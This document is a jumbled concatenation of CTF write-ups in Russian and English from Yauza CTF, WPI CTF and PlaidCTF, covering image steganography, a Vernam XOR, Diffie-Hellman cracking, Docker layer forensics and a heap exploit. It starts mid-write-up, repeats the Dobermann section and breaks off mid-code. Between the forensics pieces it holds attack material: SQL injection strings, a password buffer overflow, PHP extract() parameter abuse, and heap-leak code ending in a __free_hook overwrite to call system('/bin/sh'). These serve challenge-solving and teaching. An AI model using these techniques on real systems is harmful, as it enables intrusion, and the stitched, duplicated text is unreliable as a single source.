dober.tif ExifTool Version Number : 11.06 File Name : dober.tif Directory : . File Size : 434 kB File Modification Date/Time : 2019:04:17 00:44:10+03:00 File Access Date/Time : 2019:04:17 14:33:59+03:00 File Inode Change Date/Time : 2019:04:17 01:00:00+03:00 File Permissions : rw-r--r-- File Type : TIFF File Type Extension : tif MIME Type : image/tiff Exif Byte Order : Little-endian (Intel, II) Image Width : 750 Image Height : 854 Bits Per Sample : 8 Compression : LZW Photometric Interpretation : RGB Palette Fill Order : Normal Document Name : D:\uploadedFiles\bb8a63979662e8e47cf447586ca848aa-e2d7b61d39ad4f6b\p1d7fm8qj41f6e1b8tnjc1r4g10494.tiff Strip Offsets : (Binary data 573 bytes, use -b option to extract) Orientation : Horizontal (normal) Samples Per Pixel : 1 Rows Per Strip : 10 Strip Byte Counts : (Binary data 429 bytes, use -b option to extract) Planar Configuration : Chunky Page Number : 0 1 White Point : 0.3127000035 0.3289999963 Primary Chromaticities : 0.6399999858 0.3300000132 0.300000012 0.600000024 0.150000006 0.05999999867 Color Map : (Binary data 1536 bytes, use -b option to extract) Image Size : 750x854 Megapixels : 0.640 Тут может быть интересна строчка `Document Name`,но она была пустышкой. $ binwalk dober.tif DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 TIFF image data, little-endian offset of first image directory: 407210 409811 0x640D3 GIF image data, version "89a", 236 x 250 Оп, а вот это уже более интересно. Извлекаем гифку. По непонятной привычке я делаю это с помощью утилиты `dd`. $ dd if=dober.tif of=dober.gif bs=1 skip=409811 Можем проделать все базовые штуки еще раз. Интересно будет только на этом моменте: $ exiftool dober.gif ExifTool Version Number : 11.06 File Name : dober.gif Directory : . File Size : 33 kB File Modification Date/Time : 2019:04:17 14:48:25+03:00 File Access Date/Time : 2019:04:17 14:49:43+03:00 File Inode Change Date/Time : 2019:04:17 14:49:32+03:00 File Permissions : rw-r--r-- File Type : GIF File Type Extension : gif MIME Type : image/gif GIF Version : 89a Image Width : 236 Image Height : 250 Has Color Map : Yes Color Resolution Depth : 8 Bits Per Pixel : 8 Background Color : 0 Comment : vernam::?R?3]~?,?mr?]??qO?.?.27[.??N..??.c??.?K[wy.?.?$lx.?J?6?`*?%A???+ikX?fy!i?->????????b?b???7?>./'??QG.|?T?Yg??P)?-..?gJ#??.3, .?`?`/.?.3&?W?.?R6?.?r?V?H??.9)AnƘ?.??c.hn?h?p?9-i.?Bɹ?T?>?Υ..????E?ڟ??X?9???f)'!?W???..???ސ?{????@Y?|?F???F???9G Image Size : 236x250 Megapixels : 0.059 Обратим внимание на поле `Comment`. Вернам? Один?"Он же абсолютно стойкий! Как мы будем его расшифровывать?" -- воскликнете вы. И будете правы. Нужен второй кусок. Грепнем строку `vernam` по изображению. $ strings dober.gif | grep vernam vernam:: vernam:: Вот он родимый кусочек. Откроем редактор, который может парсить файлы по шаблону, к примеру, 010Editor или Synalyze it, с нужным шаблоном [89a спецификации](http://r-t-f-m.info/_books/15001/index.php#sect24). Видим две структуры комментария: ![edit](./src/edit.png) >>> dober = open("dober.gif", "rb") >>> bytes = dober.read() >>> first = bytes[int("0x310", 0):int("0x310", 0)+int("0xFF", 0)] >>> first b"vernam::\xf2R\x823]~\xed\x9e,\xacmr\xad]\xaa\xe8qO\xcf\x17\x95\x1527[\x18\x8c\xcdN\x18\x1b\x90\xfd\x00.c\xe0\x83\x10\xfeK[wy\n\xd4\x17\x97$lx\t\x9aJ\xef6\xb6`*\xf8%A\x92\xed\xc7+ikX\xbbfy!i\xdf->\x9a\xa5\xc7\xef\xdc\xf6\xbf\xf6b\xcfb\xbc\xfe\xd37\xca>\x1b/'\xce\xc2QG\x17|\xb5T\xfcYg\xb6\xd7P)\xda-\x17\x17\xb1gJ#\xf6\xc0\x183, \x18\xb9`\x8b`/\x11\x8f\x0e3&\xd4W\xd5.\x81R6\x91\x06\x83r\xa8V\xe1\x91H\xa0\xcd\x159)An\xc6\x98\xd7\x05\x8e\xeec\x14hn\xc4h\xc7p\xc89-i\x0f\x93B\xc9\xb9\xd5T\xbc>?\xce\xa5\x18.\xfb\xdd\xe6\x91\xd1E\xbe\xda\x9f\xa0\xb0X\xcf9\xb1\xe9\xe0f)'!\x96W\x87\xb8\xd6\x10\x0f\x93\x81\xaf\xde\x90\x86{\xa9\xb5\x94\xee@Y\x86|\xb9F\xb8\xbb\xd3F\x9f\xe5\x9d\xfc9G" >>> second = bytes[int("0x84E1", 0):int("0x84E1", 0)+int("0xFF", 0)] >>> second b"vernam::\xab\x13\xd7i\x1c=\xb9\xd8W\x9d\x03-\x98-\x99\x8b.8\xfcH\xa2gG\x02le\x86\xcdN\x18\x1b\x90\xfd\x00.c\xe0\x83\x10\xfeK[wy\n\xd4\x17\x97$lx\t\x9aJ\xef6\xb6`*\xf8%A\x92\xed\xc7+ikX\xbbfy!i\xdf->\x9a\xa5\xc7\xef\xdc\xf6\xbf\xf6b\xcfb\xbc\xfe\xd37\xca>\x1b/'\xce\xc2QG\x17|\xb5T\xfcYg\xb6\xd7P)\xda-\x17\x17\xb1gJ#\xf6\xc0\x183, \x18\xb9`\x8b`/\x11\x8f\x0e3&\xd4W\xd5.\x81R6\x91\x06\x83r\xa8V\xe1\x91H\xa0\xcd\x159)An\xc6\x98\xd7\x05\x8e\xeec\x14hn\xc4h\xc7p\xc89-i\x0f\x93B\xc9\xb9\xd5T\xbc>?\xce\xa5\x18.\xfb\xdd\xe6\x91\xd1E\xbe\xda\x9f\xa0\xb0X\xcf9\xb1\xe9\xe0f)'!\x96W\x87\xb8\xd6\x10\x0f\x93\x81\xaf\xde\x90\x86{\xa9\xb5\x94\xee@Y\x86|\xb9F\xb8\xbb\xd3F\x9f\xe5\x9d\xfc9G" >>> first = first.replace(b"vernam::", b'') >>> second = second.replace(b"vernam::", b'') >>> first = int.from_bytes(first, "big") >>> second = int.from_bytes(second, "big") >>> flag = first ^ second >>> flag = flag.to_bytes(flag.bit_length(), "big").strip(b"\x00") >>> flag b'YAUZACTF{1n_5p3c_w3_7ru57}\n' **Флаг:** `YAUZACTF{1n_5p3c_w3_7ru57}` # She За этим райтапом можно обратиться по этой [ссылке](https://github.com/loqpa/CTF/tree/master/Yauza19/She).
Source pt1--------------```Challenge:ssh [email protected] -p 31337 (or 31338 or 31339). Password is sourcelocker Here is your babybuff.``` Never had any experience with pwn without having a binary file (Also my first successful pwn challenge), however, I figured it worked out the same way as most binary exploitation did.When we write a couple of passwords to the file, it always seem to show "Pass auth failed.", and close out of the shell.![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2015-05-45.png) However, when we type spam more characters, such as:```AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA``` The only output seems to be "Connection to source.wpictf.xyz closed." So that seemed suspicious because we want a ``` Pasword auth failed ```, which felt like an overflow error.So I decided to brute-force my way in by determining the right amount of ```A```'s I should be writing until I make my way in, which were 111 A's, or ```AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA``` Which outputs```#define _GNU_SOURCE#include <stdio.h>#include <unistd.h> #include <stdlib.h>#include <string.h> //compiled with gcc source.c -o source -fno-stack-protector -no-pie//gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0 //flag for source1 is WPI{Typos_are_GrEaT!}int getpw(void){ int res = 0; char pw[100]; fgets(pw, 0x100, stdin); *strchrnul(pw, '\n') = 0; if(!strcmp(pw, getenv("SOURCE1_PW"))) res = 1; return res;} char *lesscmd[] = {"less", "source.c", 0};int main(void){ setenv("LESSSECURE", "1", 1); printf("Enter the password to get access to https://www.imdb.com/title/tt0945513/\n"); if(!getpw()){ printf("Pasword auth failed\nexiting\n"); return 1; } execvp(lesscmd[0], lesscmd); return 0}```Thus, our flag is ``` WPI{Typos_are_GrEaT!} ``` ------------- Strings-------------```Challenge:A handy tool for your RE efforts! made by AWG File from https://drive.google.com/open?id=1Hr30UBpwKEbt5UF4w2GzfXnVDXoCRVIs``` When executing the program, it worked the same way as the ```strings``` command would do. But what if we strings the file? So I tried to take a look at the file's functions.![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2015-23-47.png) Ooh!, so our flag is ```WPI{What_do_you_mean_I_SEE_AHH_SKI}``` ------------- Jocipher-------------```Challenge:Decrypt PIY{zsxh-sqrvufwh-nfgl} to get the flag! made by Samantha Comeau https://drive.google.com/open?id=1MKcNvHuFCo8vsHZgKOOT0vWddfIzRFk1``` After getting the required file, we were supposed to decrypt ```PIY{zsxh-sqrvufwh-nfgl}``` to supposedly get out flag. I wrote a small bash script to retrieve the flag. ```# !/bin/bash for i in {1..100}do ./jocipher.pyc --string "PIY{zsxh-sqrvufwh-nfgl}" --shift $i --decode | grep WPIdone``` ``` ./jocipher.pyc --string "PIY{zsxh-sqrvufwh-nfgl}" --shift 48 --decode``` Where our reasonable output is ```WPI{xkcd-keyboard-mash}``` ------------ Webinspect------------```Challenge:Something is lurking at https://www.wpictf.xyz``` They redirect you to the site. where if you open up the source code, you'll find![](https://github.com/Immobility/CTF/blob/master/wpiCTF/photos/7e0251fa47ee79d28850a4a150bf3bbf.png?raw=true) ``` WPI{Inspect0r_Gadget} ``` ------------ Getaflag------------```Challenge:Come on down and get your flag, all you have to do is enter the correct password ... http://getaflag.wpictf.xyz:31337/ (or 31338 or 31339) made by godeva``` The site starts with ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2023-10-39.png) I started with some simple SQL injections such as ``` ' OR 1=1-- ``` or ``` ' OR 1=1# ```, but I didn't get anything out of that. However, after I inspected the source code, on the comments, it showed ``` SGV5IEdvdXRoYW0sIGRvbid0IGZvcmdldCB0byBibG9jayAvYXV0aC5waHAgYWZ0ZXIgeW91IHVwbG9hZCB0aGlzIGNoYWxsZW5nZSA7KQ== ```, which in base64, translates to``` Hey Goutham, don't forget to block /auth.php after you upload this challenge ;) ```, aha! so when I went to http://getaflag.wpictf.xyz:31337/auth.php it gave me this psudocode``` // Pseudocode $passcode = '???'; $flag = '????' extract($_GET); if (($input is detected)) { if ($input === get_contents($passcode)) { return $flag } else { echo "Invalid ... Please try again!" } }``` Because I didn't know to much about PHP, but after reading some functions, I [stumbled](https://stackoverflow.com/questions/829407/what-is-so-wrong-with-extract) on how the extract function is very vulnerable due to how it can replace an element in an array. So after experimenting and having a small knowledge of address object exploits, I came up to an idea since ```$input === get_contents($passcode)```, and the address bar shows the query, I changed input to a null value and also wrote a passcode = null, resulting in ```http://getaflag.wpictf.xyz:31337/?input=&passcode=null```. and our result should have given us ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/Screenshot%20at%202019-04-16%2023-31-16.png) However, you get rick roll'd after seeing clicking on the link, so when I inspected the source code again, it gave me the flag! ```WPI{1_l0v3_PHP}``` ------------Chirp------------```Challenge:made by Justo and siege file from https://drive.google.com/open?id=1lcdC9qVBKtSfxOPWLbWd8kAYnPEoSZQb``` For this challenge, you had to look at a photo of this bird ![](https://raw.githubusercontent.com/Immobility/CTF/master/wpiCTF/photos/chal.jpg) At first, I thought it was steganography, but I later realized that recon was not supposed to be a steg challenge. So after connecting the title of the challenge and the picture of the bird, I found that the image is depicting an image of Twitter. I went to the sponsor's Twitter page and got the flag. ``` WPI{sp0nsored_by_si3ge} ``` ------------
## Task "We caught two WPI students sending illegal secrets on our network... can you find out what they said?" Also we are given pcapng file. ## Solution There are five packets with any data in this pcapng:* STARTING KEY EXCHANGE PROTOCOL* g: 10| mod: 667247790729629168801868651264033309682519458519152541737787866083418205742829005514311734375000001| pub: 490305926196059599023102212147002263206141591048662034088541405656196275339142044588265256800520651* pub: 395845978879527614395747015710220346649266534299630917403355837833474281961610537213685243037337675| enc_key: 212772881309582973820829804871086196222372777546441069077968628884317585160442388385222503910529273* 32 bytes of binary data* v=h_D3VFfhvs4 If you are new to pcap's I used wireshark. So as it says "Key exchange" in the first packet I instantly thought about Diffie-Hellman key exchange. It makes sense cause then we have generator `g`, modulus `mod` and two public values. In D-H `pub = pow(g, random_number, mod)`, so if we wanna break it we gotta find discrete logarithm. My first attempt was to use sagemath.Assuming I got all variables set the code is just.```pythonK = GF(mod)discrete_log(K(pub1), K(g), mod)```It returns `2100` and as we can check in python/sage `pow(10, 2100, mod) - pub1 == 0`.As for `discrete_log(K(pub1), K(g), mod)` it doesn't want to end counting. But stop. I added third argument because that's how it is on the sagemath page, but that's actually really strange. The third argument should be `ord - integer (multiple of order of base, or None)` and the order of the base is actually `mod - 1` but that doesn't work. Maybe I don't get the documentation or sth. BUT if we drop the third argument (cause it's optional) both `discrete_log(K(pub1), K(g))` and `discrete_log(K(pub1), K(g))` count without a problem. My only guess is that setting `ord` which is actually moultiple of order makes something worse? But that's me sidetracking, I didn't realize this until writing this writeup. Also given the logarithm is so small if one would just try bruteforcing his way e.g. counting powers of `g` until `1e10` he would also find it with no problem. So we know discrete logarithm of one of the secrets and that allows us to count shared secret which is `secret = pow(pub2, discrete_log(pub1), mod)`. Actuall number is `470025532326429509257190794699658985614265142446015884571648783710068051626363138484599386732557854`. So then we gotta decode the enc_key (the guess is that's key to symmetric block cipher). My first idea was that `enc_key = secret * key % mod`, but to not go in blind I checked on [Wikipedia](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange). I looked for use in encryption and here we find in [paragraph 5.1](https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange#Encryption) link to [ElGamal Encryption](https://en.wikipedia.org/wiki/ElGamal_encryption) and it says the exact thing I just proposed. At this point I was sure that I was right so into decrypting we go. We just have to get `enc_key / secret` and as we are in Z<sub>mod</sub> it's `key = enc_key * pow(secret, mod - 2, mod) % mod`. The result is `key = 128009196690239019135781346654390395054`. That's a pretty small number compared to `mod` so it must be a hit. Then I used `Crypto.Util.number.long_to_bytes()` to convert it to byte-like object. It's exactly 16 bytes so it's perfect. So I copied data from fourth packet as hexstream and did:```python>>> cipher = '8daa192c19dc4037b58def2935623704856779cefe83ff9042677b9b62661c59'>>> cipher = int(cipher, 16)>>> cipher = long_to_bytes(cipher)``` Now we have 16-byte key and 32-byte data to decrypt. The obvious guess is AES as the most popular symmetric key algorithm AFAIK. There are multiple modes but the simplest one is ECB it also gives us full 32-byte of data (e.g. CBC has 16-byte IV). So the last thing to do is:```python>>> from Crypto.Cipher import AES>>> aes = AES.new(key, mode = AES.MODE_ECB)>>> aes.decrypt(cipher)b'WPI{sTRuk_byA_$m0otH_cR!mIn@1}\x00\x00'``` ## Other stuff So after the competition ended we were chatting with the task author. He explained what was the last packet about (notice I didn't use it). Notice that YT links are in format `https://www.youtube.com/watch?v=<video id>`. That gives us the [video](https://www.youtube.com/watch?v=h_D3VFfhvs4). That's a hints a fact that `mod - 1` is extremely smooth integer (highly divisible): `factor(mod - 1) == 2^6 * 3^13 * 5^12 * 7^14 * 11^2 * 13^13 * 17^10 * 19^4 * 23^14 * 29^12` Prime numbers that are highly divisible integers plus one are actually really unsafe cryptographically, that's why offen `modulus = 2 * q + 1` where q is prime. Those primes are called "safe primes". Given `mod - 1` is highly divible one can efficiently count discrite logarithm using this [algorithm](https://en.wikipedia.org/wiki/Pohlig%E2%80%93Hellman_algorithm). I didn't notice that, but my guess is sagemath uses this or similar algorithm since it can count `discrete_log(pub2, g)`.
# PlaidCTF 2019 [ https://ctftime.org/event/743 ] ## Space Saver > we couldn't think of anything cute so [here](https://play.plaidctf.com/files/space_saver-90a5a93dfdda2d0333f573eb3fac9789.dd) you go [ **misc** : 100pts ] As this appeared to be an genuine `.dd` file, the first step was to simply mount the disk image: ```mount -o loop space_saver-90a5a93dfdda2d0333f573eb3fac9789.dd /mnt/tmp``` However, the only file that could initially be found did not contain the flag despite being named `flag.png`: ![flag.png](space-saver-flag.png) Running various steganography tools against the image didn't uncover anything useful; however, the tildes (`~`) used in `~WIN~` suggested re-examining the original `.dd` and searching for **deleted** files. Using `testdisk` uncovered the following files which were duly extracted from the disk image: The `P.png`, `PP.png` and `PPP.png` files were all identical and showed the CTF organiser's logo ([PPP](http://pwning.net/)). Again, steganography tools uncovered nothing. The `space.rar` file was more interesting, but unfortunately password-encoded. While running some basic brute-forcing using `john`, I randomly decided to investigate the raw hex of the `.dd` file for more clues. Focusing primarily on the `P`/`PP`/`PPP.png` file data (as I was curious as to why they were hidden along with the `.rar` file), I uncovered the following near the `IEND` footers of each `PNG`: ```00040260: 0000 4945 4e44 ae42 6082 0053 7061 6300 ..IEND.B`..Spac.00044260: 0000 4945 4e44 ae42 6082 0033 6569 3200 ..IEND.B`..3ei2.00048260: 0000 4945 4e44 ae42 6082 0068 6572 4500 ..IEND.B`..herE.``` Re-constructing the suspicious looking text into `Spac3ei2herE` provided the correct password to `space.rar` and allowed `final.png` to be extracted: Flag: ```PCTF{2pac3_3v34ry_wh3r3}``` ## A Whaley Good Joke > You'll have a whale of a time with [this one](https://play.plaidctf.com/files/pctf-whales_169aeb74f82dcdceb76e36a6c4c22a89)! I couldn't decide what I wanted the flag to be so I alternated adding and removing stuff in waves until I got something that looked good. Can you dive right in and tell me what was so punny? [ **misc** : 150pts ] Used `file` to determine that the given download contained `gzip compressed data` before extracting the contents using `tar`. This extracted a bunch of directories (each containing `layer.tar` and some other unimportant files), `44922ae2...c67ff784.json` and `manifest.json`. I initially just decompressed all the `layer.tar` files after discovering references to `/root/flag.sh` within `44922ae2...c67ff784.json`: ```js{ "container": "23e9240f8ca97d3bfba72f23a57703138fb3a16d7e3e19f7d5b80d177ab50b5d", "created": "2019-04-13T20:58:53.322050465Z", "os": "linux", "container_config": { "Tty": false, "Cmd": [ "\/bin\/sh", "-c", "chmod +x .\/flag.sh && .\/flag.sh" ], "Volumes": null, "Domainname": "", "WorkingDir": "\/root\/", ...}``` Unfortunately, after extracting everything in no particular order, running `flag.sh` resulted in output that was clearly not correct. ``` $ ./flag.sh pctf{1_b3tk4_auultn__s0lk3m7tr_ui2l7u_h_er}``` A quick look at `flag.sh` showed that it was concatenating 32 files (also within `/root`) named using the numbers 1 through 32 (with later examination revealing that each file contained a single character). The fact that the resulting flag was incorrect suggested files had been overwritten, and that the **order** of extraction was important. ```bash#!/bin/bash for i in {1..32}do test -f $i if [[ $? -ne 0 ]] then echo "Missing file $i - no flag for you!" exit fidone echo pctf{1_b3t$(cat 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32)}``` The `manifest.json` file (and also `44922ae2...c67ff784.json`) from the original archive confirmed a particular extraction sequence for the `layer.tar` files, however, the names of **21** of the 27 directories extracted from the archive had been masked. ```js{ "Layers": [ "2354d65e014cbe530f9695dbe3faf8ac84d85d7ad91f5d46ba8ef3fc0cd88d95\/layer.tar", "4337e82a87b98a9c74a8328f7059baf04a2ad31081c9893c5f37d4dd85137988\/layer.tar", "7204dd4cdfd9b6d29a095cf1fd3b2e7efe366f191c31a75df4ea8e9f47a70801\/layer.tar", "c843887778784dad565b239aa712a3228d9a878f2d3f129f3ab7341a84f11910\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", ... "????????????????????????????????????????????????????????????????\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", "????????????????????????????????????????????????????????????????\/layer.tar", "b94e5d83dbbff95e883f0f53bcf47c017471b13d81325697be6e22cdc8c369aa\/layer.tar", "24d12bbeb0a9fd321a8decc0c544f84bf1f6fc2fd69fa043602e012e3ee6558b\/layer.tar" ], ...}``` The `layer.tar` files from those particular directories also happened to specify only revisions that added or deleted different numbers and combinations of the 32 files comprising the flag within `/root`. This step did require some searching to discover that `.wh.` files are special **whiteout** files used by Docker to represent file and folder deletion. Using the above knowledge and the clue within the challenge description about `alternated adding and removing stuff`, I eventually realised that it might be possible to determine the correct extraction order based on the following two principles: * No file can be deleted that doesn't exist (ie, it must be added first)* No file can be added that currently exists (ie, it must have *not* been added yet or needs to be deleted first) The code in [ [a-whaley-good-joke.py](a-whaley-good-joke.py) ] creates a tree structure of alternating `ADD`/`DEL` revision nodes that explores sequence orders of extractions which satisfy the above rules. A valid sequence order will have a tree depth of 21 (ie, using all the possible revisions). The script then extracts the files based on each valid sequence ordering and displays the potential flags. There were actually 24 valid revision sequences combining for an assortment of possible flags: ```Processing valid sequences ...Extracting sequence #00 : pctf{1_b3tttzalkzgn_7s0lknq6___ui2l_u_h_er}Extracting sequence #01 : pctf{1_b3tttzalkzgn_7s0lknq6___ui2l_u_h_er}Extracting sequence #02 : pctf{1_b3tttzalkzgn_7s0lknq6___ui2l_u_h_er}Extracting sequence #03 : pctf{1_b3tttzalkzgn_7s0lknq6___ui2l_u_h_er}Extracting sequence #04 : pctf{1_b3t_u_couldnt_c0nt4in3r_ur_l4ught3r}Extracting sequence #05 : pctf{1_b3t_u_couldnt0s0nt4in3e_urel4ught3r}Extracting sequence #06 : pctf{1_b3t_u_couldnt0s0nt4in3e_urel4ught3r}...``` The correct result was determined by simply seeing which of the flags made sense: ```pctf{1_b3t_u_couldnt_c0nt4in3r_ur_l4ught3r}```
# The bug The bug is a very obvious OOB that exists in the `select` function. ```unsigned long select(sp *tree, int idx){ struct node *e; e = tree->vector[idx]; // OOB sp_select(tree, &e->tree_metadata); return e->y;}``` Basically, the `select` function takes the idx'th element from the vector and places it on top of the tree. By faking a node on a tree we can manipulate the entire tree structure. # Heap Leak Each node looks like this: ```struct node { unsigned long x; unsigned long y; unsigned long unk1; unsigned long unk2; unsigned long idx; struct tree_metadata { struct tree_metadata *parent; struct tree_metadata *lchild; struct tree_metadata *rchild; unsigned long size; } meta;};```And by using the given features we can get the contents of x and y in the nodes. This can be used for an infoleak. However, in order to fake a node we need to store a pointer pointing to it. I did this by using the freed chunks of `tcache`. In each freed chunk of tcache there is a pointer pointing to its `prev` chunk. By using this, we can get the `x` value of a freed chunk faked to a node, which is a heap address. ```for i in range(5): add(i,i) delete(0)delete(1)delete(2)delete(3)delete(4) idx = (0x7fc6681fc370 - 0x7fc6681fb260)//8 select(idx)HEAP = getnth(0) log.info("HEAP: 0x%x"%HEAP) # 0x7f68373c72d0``` # LIBC Leak and arbitrary write After a long time of thinking, I decided to use a section of memory that has lots of NULLs but also contains some important pointers. It is important that the section has an abundance of NULLs so that the `select` function does not attempt to recurse to its parent or children. The ideal memory section that I thought of was the tcache structure, located in the heap base. ```void find_and_add(struct sp *tree, unsigned long incr, unsigned long x, unsigned long y){ struct node *node = sp_isolate(tree, x, y); if ( node ) *(_QWORD *)(node - 0x18) += a2;}``` By using this functionality, we can get a write primitive. By overwriting the tcache head to a pointer we can get a node allocated at an unsorted bin, and when we get the `x` value of it we get a libc address. # Getting a shell Afterwards everything is easy, we can use the primitives discussed to get arbitrary write, overwriting `__free__hook` with `system` and calling `free("/bin/sh")`
# In The Dark ![task](./src/in_dark.png) Алеша вглядывался в пустоту несколько минут. Она казалась ему абсолютно холодной. Нашла ли она в нем что-то? [dark.png](./src/dark.png) На вход нам подается огромная картинка 7k x 5k абсолютно черного цвета. Но не нужно быть очень внимательным, чтобы заметить слева внизу странные помехи. Конечно же, в первую очередь exif и zsteg. Через Stegsolve тоже можно попробовать прогнать, но с таким размером изображения это полный ад. Binwalk так же ничего не даст. $ exiftool dark.png ExifTool Version Number : 11.06 File Name : dark.png Directory : . File Size : 100 kB File Modification Date/Time : 2019:03:12 01:39:42+03:00 File Access Date/Time : 2019:04:17 01:39:26+03:00 File Inode Change Date/Time : 2019:04:17 01:01:02+03:00 File Permissions : rw-r--r-- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 7000 Image Height : 5000 Bit Depth : 8 Color Type : RGB Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Image Size : 7000x5000 Megapixels : 35.0 В метаданных пустота :) $ zsteg dark.png [=] nothing :( Zsteg отчаялся уже на этом этапе. Неплохо проверить дейстительно ли картинка такая же черная, как нам кажется. >>> from PIL import Image >>> dark = Image.open('dark.png') >>> dark.getcolors() [(24, (248, 248, 248)), (2, (10, 35, 244)), (12, (0, 248, 0)), (23, (248, 0, 246)), (6, (246, 248, 0)), (2, (245, 12, 26)), (2, (246, 246, 54)), (2, (43, 246, 247)), (2, (40, 246, 45)), (15, (248, 0, 0)), (5, (0, 0, 248)), (34999905, (0, 0, 0))] Да, подавляющее большинство пикселей полностью черные, но есть незначительное количество шума. Невнимательные и не заметившие его в самом начале могли попробовать локализовать сгустки довольно ярких пикселей и получить левый нижний угол. Что ж, рассмотрим его подробнее. ![pix](./src/pix.png) Согласна, похоже то ли на Piet, то ли на Brainloller. И первый, и второй можно отбросить из-за использования "некруглых" значений цветов. Но лучше проверить, а то мало ли какой апдейт. ![npiet](./src/npiet.png) Brainloller можете проверить сами. Что же делать?Давайте исходить из формата флага: `YauzaCTF{}`. Стоит отметить, что в нем есть две одинаковые буквы `а`. Есть ли у нас две одинаковые полоски?Да, аж две пары: розовый-розовый-белый-розовый-белый и белей-розовыйX4 (дальтоники, извините). Но последняя пара на слишком большом расстоянии, а вот первая как раз на нужном. Отсюда можно сделать вывод, что перед нами флаг, где каждый символ -- это одна полоска пикселей. После сессии гуглинга можно придти к выводу, что это [субпиксельный шрифт](http://www.msarnoff.org/millitext/) или [3-пиксельные герои Футурамы](http://igirl.com.ua/2010/10/20/3-pikselnye-personazhi-futuramy-i-simpsonov/) (шутка, у нас высота в 5 пикселей). ![google](./src/google.png) ![alph](./src/alph.png) Алфавит у нас есть, осталось только закодить декодирование или сделать его руками. **Флаг:** `YauzaCTF{5UBP1X3L5}`/ `YAUZACTF{5UBP1X3L5}` # Dobermann ![dober](./src/dober.png) Он любил этих собак. Но он не хотел чувствововать их взгляд за спиной. [dober.tif](./src/dober.tif) Как обычно, стандартная проверка: exiftool + binwalk. Zsteg и Stegsolve c форматом TIFF не работают. Strings использовать нет смысла. Пора бы уже это дело автоматизировать. $ exiftool dober.tif ExifTool Version Number : 11.06 File Name : dober.tif Directory : . File Size : 434 kB File Modification Date/Time : 2019:04:17 00:44:10+03:00 File Access Date/Time : 2019:04:17 14:33:59+03:00 File Inode Change Date/Time : 2019:04:17 01:00:00+03:00 File Permissions : rw-r--r-- File Type : TIFF File Type Extension : tif MIME Type : image/tiff Exif Byte Order : Little-endian (Intel, II) Image Width : 750 Image Height : 854 Bits Per Sample : 8 Compression : LZW Photometric Interpretation : RGB Palette Fill Order : Normal Document Name : D:\uploadedFiles\bb8a63979662e8e47cf447586ca848aa-e2d7b61d39ad4f6b\p1d7fm8qj41f6e1b8tnjc1r4g10494.tiff Strip Offsets : (Binary data 573 bytes, use -b option to extract) Orientation : Horizontal (normal) Samples Per Pixel : 1 Rows Per Strip : 10 Strip Byte Counts : (Binary data 429 bytes, use -b option to extract) Planar Configuration : Chunky Page Number : 0 1 White Point : 0.3127000035 0.3289999963 Primary Chromaticities : 0.6399999858 0.3300000132 0.300000012 0.600000024 0.150000006 0.05999999867 Color Map : (Binary data 1536 bytes, use -b option to extract) Image Size : 750x854 Megapixels : 0.640 Тут может быть интересна строчка `Document Name`,но она была пустышкой. $ binwalk dober.tif DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 TIFF image data, little-endian offset of first image directory: 407210 409811 0x640D3 GIF image data, version "89a", 236 x 250 Оп, а вот это уже более интересно. Извлекаем гифку. По непонятной привычке я делаю это с помощью утилиты `dd`. $ dd if=dober.tif of=dober.gif bs=1 skip=409811 Можем проделать все базовые штуки еще раз. Интересно будет только на этом моменте: $ exiftool dober.gif ExifTool Version Number : 11.06 File Name : dober.gif Directory : . File Size : 33 kB File Modification Date/Time : 2019:04:17 14:48:25+03:00 File Access Date/Time : 2019:04:17 14:49:43+03:00 File Inode Change Date/Time : 2019:04:17 14:49:32+03:00 File Permissions : rw-r--r-- File Type : GIF File Type Extension : gif MIME Type : image/gif GIF Version : 89a Image Width : 236 Image Height : 250 Has Color Map : Yes Color Resolution Depth : 8 Bits Per Pixel : 8 Background Color : 0 Comment : vernam::?R?3]~?,?mr?]??qO?.?.27[.??N..??.c??.?K[wy.?.?$lx.?J?6?`*?%A???+ikX?fy!i?->????????b?b???7?>./'??QG.|?T?Yg??P)?-..?gJ#??.3, .?`?`/.?.3&?W?.?R6?.?r?V?H??.9)AnƘ?.??c.hn?h?p?9-i.?Bɹ?T?>?Υ..????E?ڟ??X?9???f)'!?W???..???ސ?{????@Y?|?F???F???9G Image Size : 236x250 Megapixels : 0.059 Обратим внимание на поле `Comment`. Вернам? Один?"Он же абсолютно стойкий! Как мы будем его расшифровывать?" -- воскликнете вы. И будете правы. Нужен второй кусок. Грепнем строку `vernam` по изображению. $ strings dober.gif | grep vernam vernam:: vernam:: Вот он родимый кусочек. Откроем редактор, который может парсить файлы по шаблону, к примеру, 010Editor или Synalyze it, с нужным шаблоном [89a спецификации](http://r-t-f-m.info/_books/15001/index.php#sect24). Видим две структуры комментария: ![edit](./src/edit.png) >>> dober = open("dober.gif", "rb") >>> bytes = dober.read() >>> first = bytes[int("0x310", 0):int("0x310", 0)+int("0xFF", 0)] >>> first 